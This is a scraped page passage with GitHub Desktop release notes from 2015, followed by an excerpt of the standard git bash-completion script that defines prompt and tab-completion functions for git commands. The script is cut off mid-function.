repository from the command line by passing the path to the repository to github.exe. FIXEDLogging in on multiple machines could cause other sessions to be revoked. FIXEDComparison graph sometimes showed the wrong current branch. FIXEDFailing to load the correct commits when scrolling in the history tab. FIXEDRare crash when account transitioned between authenticated and unauthenticated. FIXEDTutorial repository showing after opening settings, about or option view. IMPROVEDNew tab header styles. IMPROVEDQuick sign in from clone dialog when not authenticated. IMPROVEDHelpful messaging when failing to push to, or delete, a protected branch. IMPROVEDMore detailed messaging when failing to render a diff. IMPROVEDLong branch names are now truncated in repository view and menus. IMPROVEDDisabled buttons in comparison graph no longer have hover states. 2015/09/08v3.0.5 Realtime Baking ADDEDEasily switch between Changes and History using the tabs. ADDEDDelete the current branch from the gear menu. IMPROVED@mentions list is refreshed more frequently. IMPROVEDReduced memory usage when browsing history. FIXEDA rare crash when accessing a repository's config file. 2015/08/24v3.0.4 The Last Free Monad IMPROVEDscrolling animations inside comparison graph. FIXEDCloning forked repository not displaying correct graph initially. FIXED'Update from {branch}' uses tracked branch if defined. FIXEDA potential crash when appending commits in history view. FIXEDPull Request tooltip showing incorrect message. FIXEDA potential crash when extracting tutorial repository. 2015/08/14v3.0.3 The Last Free Monad IMPROVEDScrolling commits is now way faster! FIXEDNew commits weren't reflected in the history. FIXEDUndoing commits weren't reflected in the history. FIXEDRemote commits were inserted at the end of the history when syncing. 2015/08/12v3.0.2 The Last Free Monad FIXEDA crash when fetching commits in rare cases. FIXEDA crash when opening the base branch popover. FIXEDA crash when failing to load files in commits. FIXEDA crash when restarting the tutorial. FIXEDChanged files appearing under the commit form. 2015/08/12v3.0.1 The Last Free Monad FIXEDA potential crash while generating the comparison graph. 2015/07/06v3.0.0 The Last Free Monad NEW'Use the comparison graph to compare two branches and keep them in sync.' Overview Release Notes | Help © 2016 GitHub, Inc. All rights reserved.

    From user nomankhalil

  • questionmark1122 / cnn10

    ssh-tutorial, #!bash # # bash completion support for core Git. # # Copyright (C) 2006,2007 Shawn O. Pearce <[email protected]> # Conceptually based on gitcompletion (http://gitweb.hawaga.org.uk/). # Distributed under the GNU General Public License, version 2.0. # # The contained completion routines provide support for completing: # # *) local and remote branch names # *) local and remote tag names # *) .git/remotes file names # *) git 'subcommands' # *) tree paths within 'ref:path/to/file' expressions # *) common --long-options # # To use these routines: # # 1) Copy this file to somewhere (e.g. ~/.git-completion.sh). # 2) Added the following line to your .bashrc: # source ~/.git-completion.sh # # 3) Consider changing your PS1 to also show the current branch: # PS1='[\u@\h \W$(__git_ps1 " (%s)")]\$ ' # # The argument to __git_ps1 will be displayed only if you # are currently in a git repository. The %s token will be # the name of the current branch. # # In addition, if you set GIT_PS1_SHOWDIRTYSTATE to a nonempty # value, unstaged (*) and staged (+) changes will be shown next # to the branch name. You can configure this per-repository # with the bash.showDirtyState variable, which defaults to true # once GIT_PS1_SHOWDIRTYSTATE is enabled. # # You can also see if currently something is stashed, by setting # GIT_PS1_SHOWSTASHSTATE to a nonempty value. If something is stashed, # then a '$' will be shown next to the branch name. # # If you would like to see if there're untracked files, then you can # set GIT_PS1_SHOWUNTRACKEDFILES to a nonempty value. If there're # untracked files, then a '%' will be shown next to the branch name. # # If you would like to see the difference between HEAD and its # upstream, set GIT_PS1_SHOWUPSTREAM="auto". A "<" indicates # you are behind, ">" indicates you are ahead, and "<>" # indicates you have diverged. You can further control # behaviour by setting GIT_PS1_SHOWUPSTREAM to a space-separated # list of values: # verbose show number of commits ahead/behind (+/-) upstream # legacy don't use the '--count' option available in recent # versions of git-rev-list # git always compare HEAD to @{upstream} # svn always compare HEAD to your SVN upstream # By default, __git_ps1 will compare HEAD to your SVN upstream # if it can find one, or @{upstream} otherwise. Once you have # set GIT_PS1_SHOWUPSTREAM, you can override it on a # per-repository basis by setting the bash.showUpstream config # variable. # # # To submit patches: # # *) Read Documentation/SubmittingPatches # *) Send all patches to the current maintainer: # # "Shawn O. Pearce" <[email protected]> # # *) Always CC the Git mailing list: # # [email protected] # case "$COMP_WORDBREAKS" in *:*) : great ;; *) COMP_WORDBREAKS="$COMP_WORDBREAKS:" esac # __gitdir accepts 0 or 1 arguments (i.e., location) # returns location of .git repo __gitdir () { if [ -z "${1-}" ]; then if [ -n "${__git_dir-}" ]; then echo "$__git_dir" elif [ -d .git ]; then echo .git else git rev-parse --git-dir 2>/dev/null fi elif [ -d "$1/.git" ]; then echo "$1/.git" else echo "$1" fi } # stores the divergence from upstream in $p # used by GIT_PS1_SHOWUPSTREAM __git_ps1_show_upstream () { local key value local svn_remote=() svn_url_pattern count n local upstream=git legacy="" verbose="" # get some config options from git-config while read key value; do case "$key" in bash.showupstream) GIT_PS1_SHOWUPSTREAM="$value" if [[ -z "${GIT_PS1_SHOWUPSTREAM}" ]]; then p="" return fi ;; svn-remote.*.url) svn_remote[ $((${#svn_remote[@]} + 1)) ]="$value" svn_url_pattern+="\\|$value" upstream=svn+git # default upstream is SVN if available, else git ;; esac done < <(git config -z --get-regexp '^(svn-remote\..*\.url|bash\.showupstream)$' 2>/dev/null | tr '\0\n' '\n ') # parse configuration values for option in ${GIT_PS1_SHOWUPSTREAM}; do case "$option" in git|svn) upstream="$option" ;; verbose) verbose=1 ;; legacy) legacy=1 ;; esac done # Find our upstream case "$upstream" in git) upstream="@{upstream}" ;; svn*) # get the upstream from the "git-svn-id: ..." in a commit message # (git-svn uses essentially the same procedure internally) local svn_upstream=($(git log --first-parent -1 \ --grep="^git-svn-id: \(${svn_url_pattern:2}\)" 2>/dev/null)) if [[ 0 -ne ${#svn_upstream[@]} ]]; then svn_upstream=${svn_upstream[ ${#svn_upstream[@]} - 2 ]} svn_upstream=${svn_upstream%@*} for ((n=1; "$n" <= "${#svn_remote[@]}"; ++n)); do svn_upstream=${svn_upstream#${svn_remote[$n]}} done if [[ -z "$svn_upstream" ]]; then # default branch name for checkouts with no layout: upstream=${GIT_SVN_ID:-git-svn} else upstream=${svn_upstream#/} fi elif [[ "svn+git" = "$upstream" ]]; then upstream="@{upstream}" fi ;; esac # Find how many commits we are ahead/behind our upstream if [[ -z "$legacy" ]]; then count="$(git rev-list --count --left-right \ "$upstream"...HEAD 2>/dev/null)" else # produce equivalent output to --count for older versions of git local commits if commits="$(git rev-list --left-right "$upstream"...HEAD 2>/dev/null)" then local commit behind=0 ahead=0 for commit in $commits do case "$commit" in "<"*) let ++behind ;; *) let ++ahead ;; esac done count="$behind $ahead" else count="" fi fi # calculate the result if [[ -z "$verbose" ]]; then case "$count" in "") # no upstream p="" ;; "0 0") # equal to upstream p="=" ;; "0 "*) # ahead of upstream p=">" ;; *" 0") # behind upstream p="<" ;; *) # diverged from upstream p="<>" ;; esac else case "$count" in "") # no upstream p="" ;; "0 0") # equal to upstream p=" u=" ;; "0 "*) # ahead of upstream p=" u+${count#0 }" ;; *" 0") # behind upstream p=" u-${count% 0}" ;; *) # diverged from upstream p=" u+${count#* }-${count% *}" ;; esac fi } # __git_ps1 accepts 0 or 1 arguments (i.e., format string) # returns text to add to bash PS1 prompt (includes branch name) __git_ps1 () { local g="$(__gitdir)" if [ -n "$g" ]; then local r="" local b="" if [ -f "$g/rebase-merge/interactive" ]; then r="|REBASE-i" b="$(cat "$g/rebase-merge/head-name")" elif [ -d "$g/rebase-merge" ]; then r="|REBASE-m" b="$(cat "$g/rebase-merge/head-name")" else if [ -d "$g/rebase-apply" ]; then if [ -f "$g/rebase-apply/rebasing" ]; then r="|REBASE" elif [ -f "$g/rebase-apply/applying" ]; then r="|AM" else r="|AM/REBASE" fi elif [ -f "$g/MERGE_HEAD" ]; then r="|MERGING" elif [ -f "$g/BISECT_LOG" ]; then r="|BISECTING" fi b="$(git symbolic-ref HEAD 2>/dev/null)" || { b="$( case "${GIT_PS1_DESCRIBE_STYLE-}" in (contains) git describe --contains HEAD ;; (branch) git describe --contains --all HEAD ;; (describe) git describe HEAD ;; (* | default) git describe --exact-match HEAD ;; esac 2>/dev/null)" || b="$(cut -c1-7 "$g/HEAD" 2>/dev/null)..." || b="unknown" b="($b)" } fi local w="" local i="" local s="" local u="" local c="" local p="" if [ "true" = "$(git rev-parse --is-inside-git-dir 2>/dev/null)" ]; then if [ "true" = "$(git rev-parse --is-bare-repository 2>/dev/null)" ]; then c="BARE:" else b="GIT_DIR!" fi elif [ "true" = "$(git rev-parse --is-inside-work-tree 2>/dev/null)" ]; then if [ -n "${GIT_PS1_SHOWDIRTYSTATE-}" ]; then if [ "$(git config --bool bash.showDirtyState)" != "false" ]; then git diff --no-ext-diff --quiet --exit-code || w="*" if git rev-parse --quiet --verify HEAD >/dev/null; then git diff-index --cached --quiet HEAD -- || i="+" else i="#" fi fi fi if [ -n "${GIT_PS1_SHOWSTASHSTATE-}" ]; then git rev-parse --verify refs/stash >/dev/null 2>&1 && s="$" fi if [ -n "${GIT_PS1_SHOWUNTRACKEDFILES-}" ]; then if [ -n "$(git ls-files --others --exclude-standard)" ]; then u="%" fi fi if [ -n "${GIT_PS1_SHOWUPSTREAM-}" ]; then __git_ps1_show_upstream fi fi local f="$w$i$s$u" printf "${1:- (%s)}" "$c${b##refs/heads/}${f:+ $f}$r$p" fi } # __gitcomp_1 requires 2 arguments __gitcomp_1 () { local c IFS=' '$'\t'$'\n' for c in $1; do case "$c$2" in --*=*) printf %s$'\n' "$c$2" ;; *.) printf %s$'\n' "$c$2" ;; *) printf %s$'\n' "$c$2 " ;; esac done } # __gitcomp accepts 1, 2, 3, or 4 arguments # generates completion reply with compgen __gitcomp () { local cur="${COMP_WORDS[COMP_CWORD]}" if [ $# -gt 2 ]; then cur="$3" fi case "$cur" in --*=) COMPREPLY=() ;; *) local IFS=$'\n' COMPREPLY=($(compgen -P "${2-}" \ -W "$(__gitcomp_1 "${1-}" "${4-}")" \ -- "$cur")) ;; esac } # __git_heads accepts 0 or 1 arguments (to pass to __gitdir) __git_heads () { local cmd i is_hash=y dir="$(__gitdir "${1-}")" if [ -d "$dir" ]; then git --git-dir="$dir" for-each-ref --format='%(refname:short)' \ refs/heads return fi for i in $(git ls-remote "${1-}" 2>/dev/null); do case "$is_hash,$i" in y,*) is_hash=n ;; n,*^{}) is_hash=y ;; n,refs/heads/*) is_hash=y; echo "${i#refs/heads/}" ;; n,*) is_hash=y; echo "$i" ;; esac done } # __git_tags accepts 0 or 1 arguments (to pass to __gitdir) __git_tags () { local cmd i is_hash=y dir="$(__gitdir "${1-}")" if [ -d "$dir" ]; then git --git-dir="$dir" for-each-ref --format='%(refname:short)' \ refs/tags return fi for i in $(git ls-remote "${1-}" 2>/dev/null); do case "$is_hash,$i" in y,*) is_hash=n ;; n,*^{}) is_hash=y ;; n,refs/tags/*) is_hash=y; echo "${i#refs/tags/}" ;; n,*) is_hash=y; echo "$i" ;; esac done } # __git_refs accepts 0 or 1 arguments (to pass to __gitdir) __git_refs () { local i is_hash=y dir="$(__gitdir "${1-}")" local cur="${COMP_WORDS[COMP_CWORD]}" format refs if [ -d "$dir" ]; then case "$cur" in refs|refs/*) format="refname" refs="${cur%/*}" ;; *) for i in HEAD FETCH_HEAD ORIG_HEAD MERGE_HEAD; do if [ -e "$dir/$i" ]; then echo $i; fi done format="refname:short" refs="refs/tags refs/heads refs/remotes" ;; esac git --git-dir="$dir" for-each-ref --format="%($format)" \ $refs return fi for i in $(git ls-remote "$dir" 2>/dev/null); do case "$is_hash,$i" in y,*) is_hash=n ;; n,*^{}) is_hash=y ;; n,refs/tags/*) is_hash=y; echo "${i#refs/tags/}" ;; n,refs/heads/*) is_hash=y; echo "${i#refs/heads/}" ;; n,refs/remotes/*) is_hash=y; echo "${i#refs/remotes/}" ;; n,*) is_hash=y; echo "$i" ;; esac done } # __git_refs2 requires 1 argument (to pass to __git_refs) __git_refs2 () { local i for i in $(__git_refs "$1"); do echo "$i:$i" done } # __git_refs_remotes requires 1 argument (to pass to ls-remote) __git_refs_remotes () { local cmd i is_hash=y for i in $(git ls-remote "$1" 2>/dev/null); do case "$is_hash,$i" in n,refs/heads/*) is_hash=y echo "$i:refs/remotes/$1/${i#refs/heads/}" ;; y,*) is_hash=n ;; n,*^{}) is_hash=y ;; n,refs/tags/*) is_hash=y;; n,*) is_hash=y; ;; esac done } __git_remotes () { local i ngoff IFS=$'\n' d="$(__gitdir)" shopt -q nullglob || ngoff=1 shopt -s nullglob for i in "$d/remotes"/*; do echo ${i#$d/remotes/} done [ "$ngoff" ] && shopt -u nullglob for i in $(git --git-dir="$d" config --get-regexp 'remote\..*\.url' 2>/dev/null); do i="${i#remote.}" echo "${i/.url*/}" done } __git_list_merge_strategies () { git merge -s help 2>&1 | sed -n -e '/[Aa]vailable strategies are: /,/^$/{ s/\.$// s/.*:// s/^[ ]*// s/[ ]*$// p }' } __git_merge_strategies= # 'git merge -s help' (and thus detection of the merge strategy # list) fails, unfortunately, if run outside of any git working # tree. __git_merge_strategies is set to the empty string in # that case, and the detection will be repeated the next time it # is needed. __git_compute_merge_strategies () { : ${__git_merge_strategies:=$(__git_list_merge_strategies)} } __git_complete_file () { local pfx ls ref cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in ?*:*) ref="${cur%%:*}" cur="${cur#*:}" case "$cur" in ?*/*) pfx="${cur%/*}" cur="${cur##*/}" ls="$ref:$pfx" pfx="$pfx/" ;; *) ls="$ref" ;; esac case "$COMP_WORDBREAKS" in *:*) : great ;; *) pfx="$ref:$pfx" ;; esac local IFS=$'\n' COMPREPLY=($(compgen -P "$pfx" \ -W "$(git --git-dir="$(__gitdir)" ls-tree "$ls" \ | sed '/^100... blob /{ s,^.* ,, s,$, , } /^120000 blob /{ s,^.* ,, s,$, , } /^040000 tree /{ s,^.* ,, s,$,/, } s/^.* //')" \ -- "$cur")) ;; *) __gitcomp "$(__git_refs)" ;; esac } __git_complete_revlist () { local pfx cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in *...*) pfx="${cur%...*}..." cur="${cur#*...}" __gitcomp "$(__git_refs)" "$pfx" "$cur" ;; *..*) pfx="${cur%..*}.." cur="${cur#*..}" __gitcomp "$(__git_refs)" "$pfx" "$cur" ;; *) __gitcomp "$(__git_refs)" ;; esac } __git_complete_remote_or_refspec () { local cmd="${COMP_WORDS[1]}" local cur="${COMP_WORDS[COMP_CWORD]}" local i c=2 remote="" pfx="" lhs=1 no_complete_refspec=0 while [ $c -lt $COMP_CWORD ]; do i="${COMP_WORDS[c]}" case "$i" in --mirror) [ "$cmd" = "push" ] && no_complete_refspec=1 ;; --all) case "$cmd" in push) no_complete_refspec=1 ;; fetch) COMPREPLY=() return ;; *) ;; esac ;; -*) ;; *) remote="$i"; break ;; esac c=$((++c)) done if [ -z "$remote" ]; then __gitcomp "$(__git_remotes)" return fi if [ $no_complete_refspec = 1 ]; then COMPREPLY=() return fi [ "$remote" = "." ] && remote= case "$cur" in *:*) case "$COMP_WORDBREAKS" in *:*) : great ;; *) pfx="${cur%%:*}:" ;; esac cur="${cur#*:}" lhs=0 ;; +*) pfx="+" cur="${cur#+}" ;; esac case "$cmd" in fetch) if [ $lhs = 1 ]; then __gitcomp "$(__git_refs2 "$remote")" "$pfx" "$cur" else __gitcomp "$(__git_refs)" "$pfx" "$cur" fi ;; pull) if [ $lhs = 1 ]; then __gitcomp "$(__git_refs "$remote")" "$pfx" "$cur" else __gitcomp "$(__git_refs)" "$pfx" "$cur" fi ;; push) if [ $lhs = 1 ]; then __gitcomp "$(__git_refs)" "$pfx" "$cur" else __gitcomp "$(__git_refs "$remote")" "$pfx" "$cur" fi ;; esac } __git_complete_strategy () { __git_compute_merge_strategies case "${COMP_WORDS[COMP_CWORD-1]}" in -s|--strategy) __gitcomp "$__git_merge_strategies" return 0 esac local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --strategy=*) __gitcomp "$__git_merge_strategies" "" "${cur##--strategy=}" return 0 ;; esac return 1 } __git_list_all_commands () { local i IFS=" "$'\n' for i in $(git help -a|egrep '^ [a-zA-Z0-9]') do case $i in *--*) : helper pattern;; *) echo $i;; esac done } __git_all_commands= __git_compute_all_commands () { : ${__git_all_commands:=$(__git_list_all_commands)} } __git_list_porcelain_commands () { local i IFS=" "$'\n' __git_compute_all_commands for i in "help" $__git_all_commands do case $i in *--*) : helper pattern;; applymbox) : ask gittus;; applypatch) : ask gittus;; archimport) : import;; cat-file) : plumbing;; check-attr) : plumbing;; check-ref-format) : plumbing;; checkout-index) : plumbing;; commit-tree) : plumbing;; count-objects) : infrequent;; cvsexportcommit) : export;; cvsimport) : import;; cvsserver) : daemon;; daemon) : daemon;; diff-files) : plumbing;; diff-index) : plumbing;; diff-tree) : plumbing;; fast-import) : import;; fast-export) : export;; fsck-objects) : plumbing;; fetch-pack) : plumbing;; fmt-merge-msg) : plumbing;; for-each-ref) : plumbing;; hash-object) : plumbing;; http-*) : transport;; index-pack) : plumbing;; init-db) : deprecated;; local-fetch) : plumbing;; lost-found) : infrequent;; ls-files) : plumbing;; ls-remote) : plumbing;; ls-tree) : plumbing;; mailinfo) : plumbing;; mailsplit) : plumbing;; merge-*) : plumbing;; mktree) : plumbing;; mktag) : plumbing;; pack-objects) : plumbing;; pack-redundant) : plumbing;; pack-refs) : plumbing;; parse-remote) : plumbing;; patch-id) : plumbing;; peek-remote) : plumbing;; prune) : plumbing;; prune-packed) : plumbing;; quiltimport) : import;; read-tree) : plumbing;; receive-pack) : plumbing;; reflog) : plumbing;; remote-*) : transport;; repo-config) : deprecated;; rerere) : plumbing;; rev-list) : plumbing;; rev-parse) : plumbing;; runstatus) : plumbing;; sh-setup) : internal;; shell) : daemon;; show-ref) : plumbing;; send-pack) : plumbing;; show-index) : plumbing;; ssh-*) : transport;; stripspace) : plumbing;; symbolic-ref) : plumbing;; tar-tree) : deprecated;; unpack-file) : plumbing;; unpack-objects) : plumbing;; update-index) : plumbing;; update-ref) : plumbing;; update-server-info) : daemon;; upload-archive) : plumbing;; upload-pack) : plumbing;; write-tree) : plumbing;; var) : infrequent;; verify-pack) : infrequent;; verify-tag) : plumbing;; *) echo $i;; esac done } __git_porcelain_commands= __git_compute_porcelain_commands () { __git_compute_all_commands : ${__git_porcelain_commands:=$(__git_list_porcelain_commands)} } __git_aliases () { local i IFS=$'\n' for i in $(git --git-dir="$(__gitdir)" config --get-regexp "alias\..*" 2>/dev/null); do case "$i" in alias.*) i="${i#alias.}" echo "${i/ */}" ;; esac done } # __git_aliased_command requires 1 argument __git_aliased_command () { local word cmdline=$(git --git-dir="$(__gitdir)" \ config --get "alias.$1") for word in $cmdline; do case "$word" in \!gitk|gitk) echo "gitk" return ;; \!*) : shell command alias ;; -*) : option ;; *=*) : setting env ;; git) : git itself ;; *) echo "$word" return esac done } # __git_find_on_cmdline requires 1 argument __git_find_on_cmdline () { local word subcommand c=1 while [ $c -lt $COMP_CWORD ]; do word="${COMP_WORDS[c]}" for subcommand in $1; do if [ "$subcommand" = "$word" ]; then echo "$subcommand" return fi done c=$((++c)) done } __git_has_doubledash () { local c=1 while [ $c -lt $COMP_CWORD ]; do if [ "--" = "${COMP_WORDS[c]}" ]; then return 0 fi c=$((++c)) done return 1 } __git_whitespacelist="nowarn warn error error-all fix" _git_am () { local cur="${COMP_WORDS[COMP_CWORD]}" dir="$(__gitdir)" if [ -d "$dir"/rebase-apply ]; then __gitcomp "--skip --continue --resolved --abort" return fi case "$cur" in --whitespace=*) __gitcomp "$__git_whitespacelist" "" "${cur##--whitespace=}" return ;; --*) __gitcomp " --3way --committer-date-is-author-date --ignore-date --ignore-whitespace --ignore-space-change --interactive --keep --no-utf8 --signoff --utf8 --whitespace= --scissors " return esac COMPREPLY=() } _git_apply () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --whitespace=*) __gitcomp "$__git_whitespacelist" "" "${cur##--whitespace=}" return ;; --*) __gitcomp " --stat --numstat --summary --check --index --cached --index-info --reverse --reject --unidiff-zero --apply --no-add --exclude= --ignore-whitespace --ignore-space-change --whitespace= --inaccurate-eof --verbose " return esac COMPREPLY=() } _git_add () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --interactive --refresh --patch --update --dry-run --ignore-errors --intent-to-add " return esac COMPREPLY=() } _git_archive () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --format=*) __gitcomp "$(git archive --list)" "" "${cur##--format=}" return ;; --remote=*) __gitcomp "$(__git_remotes)" "" "${cur##--remote=}" return ;; --*) __gitcomp " --format= --list --verbose --prefix= --remote= --exec= " return ;; esac __git_complete_file } _git_bisect () { __git_has_doubledash && return local subcommands="start bad good skip reset visualize replay log run" local subcommand="$(__git_find_on_cmdline "$subcommands")" if [ -z "$subcommand" ]; then __gitcomp "$subcommands" return fi case "$subcommand" in bad|good|reset|skip) __gitcomp "$(__git_refs)" ;; *) COMPREPLY=() ;; esac } _git_branch () { local i c=1 only_local_ref="n" has_r="n" while [ $c -lt $COMP_CWORD ]; do i="${COMP_WORDS[c]}" case "$i" in -d|-m) only_local_ref="y" ;; -r) has_r="y" ;; esac c=$((++c)) done case "${COMP_WORDS[COMP_CWORD]}" in --*) __gitcomp " --color --no-color --verbose --abbrev= --no-abbrev --track --no-track --contains --merged --no-merged --set-upstream " ;; *) if [ $only_local_ref = "y" -a $has_r = "n" ]; then __gitcomp "$(__git_heads)" else __gitcomp "$(__git_refs)" fi ;; esac } _git_bundle () { local cmd="${COMP_WORDS[2]}" case "$COMP_CWORD" in 2) __gitcomp "create list-heads verify unbundle" ;; 3) # looking for a file ;; *) case "$cmd" in create) __git_complete_revlist ;; esac ;; esac } _git_checkout () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --conflict=*) __gitcomp "diff3 merge" "" "${cur##--conflict=}" ;; --*) __gitcomp " --quiet --ours --theirs --track --no-track --merge --conflict= --orphan --patch " ;; *) __gitcomp "$(__git_refs)" ;; esac } _git_cherry () { __gitcomp "$(__git_refs)" } _git_cherry_pick () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--edit --no-commit" ;; *) __gitcomp "$(__git_refs)" ;; esac } _git_clean () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--dry-run --quiet" return ;; esac COMPREPLY=() } _git_clone () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --local --no-hardlinks --shared --reference --quiet --no-checkout --bare --mirror --origin --upload-pack --template= --depth " return ;; esac COMPREPLY=() } _git_commit () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --cleanup=*) __gitcomp "default strip verbatim whitespace " "" "${cur##--cleanup=}" return ;; --reuse-message=*) __gitcomp "$(__git_refs)" "" "${cur##--reuse-message=}" return ;; --reedit-message=*) __gitcomp "$(__git_refs)" "" "${cur##--reedit-message=}" return ;; --untracked-files=*) __gitcomp "all no normal" "" "${cur##--untracked-files=}" return ;; --*) __gitcomp " --all --author= --signoff --verify --no-verify --edit --amend --include --only --interactive --dry-run --reuse-message= --reedit-message= --reset-author --file= --message= --template= --cleanup= --untracked-files --untracked-files= --verbose --quiet " return esac COMPREPLY=() } _git_describe () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --all --tags --contains --abbrev= --candidates= --exact-match --debug --long --match --always " return esac __gitcomp "$(__git_refs)" } __git_diff_common_options="--stat --numstat --shortstat --summary --patch-with-stat --name-only --name-status --color --no-color --color-words --no-renames --check --full-index --binary --abbrev --diff-filter= --find-copies-harder --text --ignore-space-at-eol --ignore-space-change --ignore-all-space --exit-code --quiet --ext-diff --no-ext-diff --no-prefix --src-prefix= --dst-prefix= --inter-hunk-context= --patience --raw --dirstat --dirstat= --dirstat-by-file --dirstat-by-file= --cumulative " _git_diff () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--cached --staged --pickaxe-all --pickaxe-regex --base --ours --theirs $__git_diff_common_options " return ;; esac __git_complete_file } __git_mergetools_common="diffuse ecmerge emerge kdiff3 meld opendiff tkdiff vimdiff gvimdiff xxdiff araxis p4merge " _git_difftool () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --tool=*) __gitcomp "$__git_mergetools_common kompare" "" "${cur##--tool=}" return ;; --*) __gitcomp "--cached --staged --pickaxe-all --pickaxe-regex --base --ours --theirs --no-renames --diff-filter= --find-copies-harder --relative --ignore-submodules --tool=" return ;; esac __git_complete_file } __git_fetch_options=" --quiet --verbose --append --upload-pack --force --keep --depth= --tags --no-tags --all --prune --dry-run " _git_fetch () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "$__git_fetch_options" return ;; esac __git_complete_remote_or_refspec } _git_format_patch () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --thread=*) __gitcomp " deep shallow " "" "${cur##--thread=}" return ;; --*) __gitcomp " --stdout --attach --no-attach --thread --thread= --output-directory --numbered --start-number --numbered-files --keep-subject --signoff --signature --no-signature --in-reply-to= --cc= --full-index --binary --not --all --cover-letter --no-prefix --src-prefix= --dst-prefix= --inline --suffix= --ignore-if-in-upstream --subject-prefix= " return ;; esac __git_complete_revlist } _git_fsck () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --tags --root --unreachable --cache --no-reflogs --full --strict --verbose --lost-found " return ;; esac COMPREPLY=() } _git_gc () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--prune --aggressive" return ;; esac COMPREPLY=() } _git_gitk () { _gitk } _git_grep () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --cached --text --ignore-case --word-regexp --invert-match --full-name --extended-regexp --basic-regexp --fixed-strings --files-with-matches --name-only --files-without-match --max-depth --count --and --or --not --all-match " return ;; esac __gitcomp "$(__git_refs)" } _git_help () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--all --info --man --web" return ;; esac __git_compute_all_commands __gitcomp "$__git_all_commands attributes cli core-tutorial cvs-migration diffcore gitk glossary hooks ignore modules repository-layout tutorial tutorial-2 workflows " } _git_init () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --shared=*) __gitcomp " false true umask group all world everybody " "" "${cur##--shared=}" return ;; --*) __gitcomp "--quiet --bare --template= --shared --shared=" return ;; esac COMPREPLY=() } _git_ls_files () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--cached --deleted --modified --others --ignored --stage --directory --no-empty-directory --unmerged --killed --exclude= --exclude-from= --exclude-per-directory= --exclude-standard --error-unmatch --with-tree= --full-name --abbrev --ignored --exclude-per-directory " return ;; esac COMPREPLY=() } _git_ls_remote () { __gitcomp "$(__git_remotes)" } _git_ls_tree () { __git_complete_file } # Options that go well for log, shortlog and gitk __git_log_common_options=" --not --all --branches --tags --remotes --first-parent --merges --no-merges --max-count= --max-age= --since= --after= --min-age= --until= --before= " # Options that go well for log and gitk (not shortlog) __git_log_gitk_options=" --dense --sparse --full-history --simplify-merges --simplify-by-decoration --left-right " # Options that go well for log and shortlog (not gitk) __git_log_shortlog_options=" --author= --committer= --grep= --all-match " __git_log_pretty_formats="oneline short medium full fuller email raw format:" __git_log_date_formats="relative iso8601 rfc2822 short local default raw" _git_log () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" local g="$(git rev-parse --git-dir 2>/dev/null)" local merge="" if [ -f "$g/MERGE_HEAD" ]; then merge="--merge" fi case "$cur" in --pretty=*) __gitcomp "$__git_log_pretty_formats " "" "${cur##--pretty=}" return ;; --format=*) __gitcomp "$__git_log_pretty_formats " "" "${cur##--format=}" return ;; --date=*) __gitcomp "$__git_log_date_formats" "" "${cur##--date=}" return ;; --decorate=*) __gitcomp "long short" "" "${cur##--decorate=}" return ;; --*) __gitcomp " $__git_log_common_options $__git_log_shortlog_options $__git_log_gitk_options --root --topo-order --date-order --reverse --follow --full-diff --abbrev-commit --abbrev= --relative-date --date= --pretty= --format= --oneline --cherry-pick --graph --decorate --decorate= --walk-reflogs --parents --children $merge $__git_diff_common_options --pickaxe-all --pickaxe-regex " return ;; esac __git_complete_revlist } __git_merge_options=" --no-commit --no-stat --log --no-log --squash --strategy --commit --stat --no-squash --ff --no-ff --ff-only " _git_merge () { __git_complete_strategy && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "$__git_merge_options" return esac __gitcomp "$(__git_refs)" } _git_mergetool () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --tool=*) __gitcomp "$__git_mergetools_common tortoisemerge" "" "${cur##--tool=}" return ;; --*) __gitcomp "--tool=" return ;; esac COMPREPLY=() } _git_merge_base () { __gitcomp "$(__git_refs)" } _git_mv () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--dry-run" return ;; esac COMPREPLY=() } _git_name_rev () { __gitcomp "--tags --all --stdin" } _git_notes () { local subcommands="edit show" if [ -z "$(__git_find_on_cmdline "$subcommands")" ]; then __gitcomp "$subcommands" return fi case "${COMP_WORDS[COMP_CWORD-1]}" in -m|-F) COMPREPLY=() ;; *) __gitcomp "$(__git_refs)" ;; esac } _git_pull () { __git_complete_strategy && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --rebase --no-rebase $__git_merge_options $__git_fetch_options " return ;; esac __git_complete_remote_or_refspec } _git_push () { local cur="${COMP_WORDS[COMP_CWORD]}" case "${COMP_WORDS[COMP_CWORD-1]}" in --repo) __gitcomp "$(__git_remotes)" return esac case "$cur" in --repo=*) 